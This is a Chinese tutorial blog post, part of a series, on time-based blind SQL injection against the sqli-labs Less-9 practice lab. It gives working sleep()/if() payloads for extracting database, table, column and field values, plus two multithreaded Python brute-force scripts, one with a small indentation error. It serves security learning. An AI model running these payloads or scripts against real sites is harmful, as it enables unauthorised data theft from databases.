(六)SQL注入—时间型盲注


有时候无论输入的值是否正确,都返回一样的页面,这样就无法使用布尔注入了,但是可以通过返回时间来判断

时间型盲注的关键函数就在于sleep(),还有if()

if(条件判断式,真,假),如果判断式为真就返回第二个参数,如果为假则返回第三个参数

接着再看看判断数据库长度的payload

?id=1' and if(length(database())>1,sleep(5),1)--+
这段代码的意思是如果数据库名长度大于1,就执行延时5秒的操作,否则直接返回1

那么我们可以直接一句一句尝试
?id=1' and if(length(database())>1,sleep(5),1)--+
?id=1' and if(length(database())>2,sleep(5),1)--+
?id=1' and if(length(database())>3,sleep(5),1)--+
?id=1' and if(length(database())>4,sleep(5),1)--+
.......

但是这么一句一句尝试太累了,所以我尝试用python写了个脚本,有些粗糙

import requests
import threading

# http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>1,sleep(5),1)--+

length = [] #用于记录小于等于目标长度的值


def sql_attack(url, payload, dic):
    res = requests.get(url + payload)

    # print(url + payload)

     if res.elapsed.seconds > 5: #时常超过5秒说明sleep生效,将值记录到lengh中
         length.append(dic)
     tip = '[+]' + url + payload + ' time:' + str(res.elapsed.seconds) + '\n'
     print(tip)

if __name__ == '__main__':
    jobs = []
    dict1 = range(1, 20)
    main_url = 'http://127.0.0.1/sqli-labs/Less-9/'
    parameter = 'id'
    main_payload = '''?%s=1' and if(length(database())>=%d,sleep(5),1)--+'''
    for num in dict1:
        payloads = (main_payload % (parameter, num))
        t = threading.Thread(target=sql_attack, args=(main_url, payloads, num))
        t.start()
        jobs.append(t)


for job in jobs:
    job.join()
print('数据库名的长度为%s' % max(length))

如何判断出数据库名

?id=1' and if(substr(database(),1,1)='a',sleep(5),1)--+
?id=1' and if(substr(database(),1,1)='b',sleep(5),1)--+
?id=1' and if(substr(database(),1,1)='c',sleep(5),1)--+
...
?id=1' and if(substr(database(),2,1)='a',sleep(5),1)--+
?id=1' and if(substr(database(),2,1)='b',sleep(5),1)--+
?id=1' and if(substr(database(),2,1)='c',sleep(5),1)--+
...

如何判断出表名

?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',sleep(5),1)--+

如何判断字段名

?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),1,1)='a',sleep(5),1)--+

判断字段值

?id=1' and if(substr((select 字段 from 表名 limit 0,1),1,1)='a',sleep(5),1)--+

最后是我写的一个汇总脚本,能力有限,爆破的目标都需要提前知道目标的长度,时间也有点久,爆破一个目标需要一分钟的时间

import requests
import threading
import datetime

dict = 'abcdefghijklmnopqrstuvwxyz_@.'


def scan(url, number, chas, pl): #字符爆破函数,用来实现每个位置的爆破
    for ch in chas:
        urls = (url % ch)
        # print("[+]访问了" + urls + "\n")
        res = requests.get(urls)
        if res.elapsed.seconds > 2: #如果返回的时间超过了两秒,说明sleep函数生效了,那么这个位置匹配字符就是正确的
            pl[number - 1] = ch


def working(plan_url, plan_len):       #工作函数,负责开启爆破目标每一个字符的爆破线程
    jobs = []
    plan_target = [0 for x in range(1, plan_len + 1)] #生成爆破目标的空列表,用于存取
    for num in range(1, plan_len + 1):
        payload = (plan_url % num) #从外面接受的payload,可通过变换payload切换目标
        t = threading.Thread(target=scan, args=(payload, num, dict, plan_target)) #开启线程
        t.start()
        jobs.append(t)
    for job in jobs:
        job.join()
    plan_targets = ''
    for ta in plan_target: #将爆破结果从列表中取出
        plan_targets += ta
    return plan_targets #返回爆破结果


if __name__ == '__main__':
    plan_dbs = '''http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr(database(),%d,1)='%%c',sleep(5),1)--+'''

    plan_table = '''http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)='%%c',sleep(5),1)--+'''

    plan_column = '''http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1),%d,1)='%%c',sleep(5),1)--+'''

    plan_value = '''http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(substr((select email_id from emails limit 0,1),%d,1)='%%c',sleep(5),1)--+'''

    time_start = datetime.datetime.now() #记录爆破开始时间

    plan = working(plan_dbs, 8)
    plan1 = working(plan_table, 6)
    plan2 = working(plan_column, 8)
    plan3 = working(plan_value, 16)

    time_end = datetime.datetime.now() #记录爆破结束时间

    print("数据库为:%s\n" % (plan))
    print("表名为:%s\n" % (plan1))
    print("字段名为:%s\n" % (plan2))
    print("字段值为:%s\n" % (plan3))
    print("总时长为:"%(time_end - time_start).seconds)

一条龙服务的话大概需要四分多钟


文章作者: wkai
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wkai !
 上一篇
关于业务逻辑漏洞 关于业务逻辑漏洞
逻辑漏洞 逻辑漏洞应用在方方面面,主要是根据应用不通产生的逻辑方面漏洞不同。比如金融网站和互联网网站以及购物网站,挖掘逻辑漏洞方法完全不一样。 可能出现的场景 用户注册场景 登录场景 支付场景 修改资料场景 信息交互场景 绑定
2020-09-03
下一篇 
(五)SQL注入—报错注入(floor原理) (五)SQL注入—报错注入(floor原理)
这是一段通过报错来进行sql注入的payload,它的核心函数是floor() ?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x
2020-08-30
  目录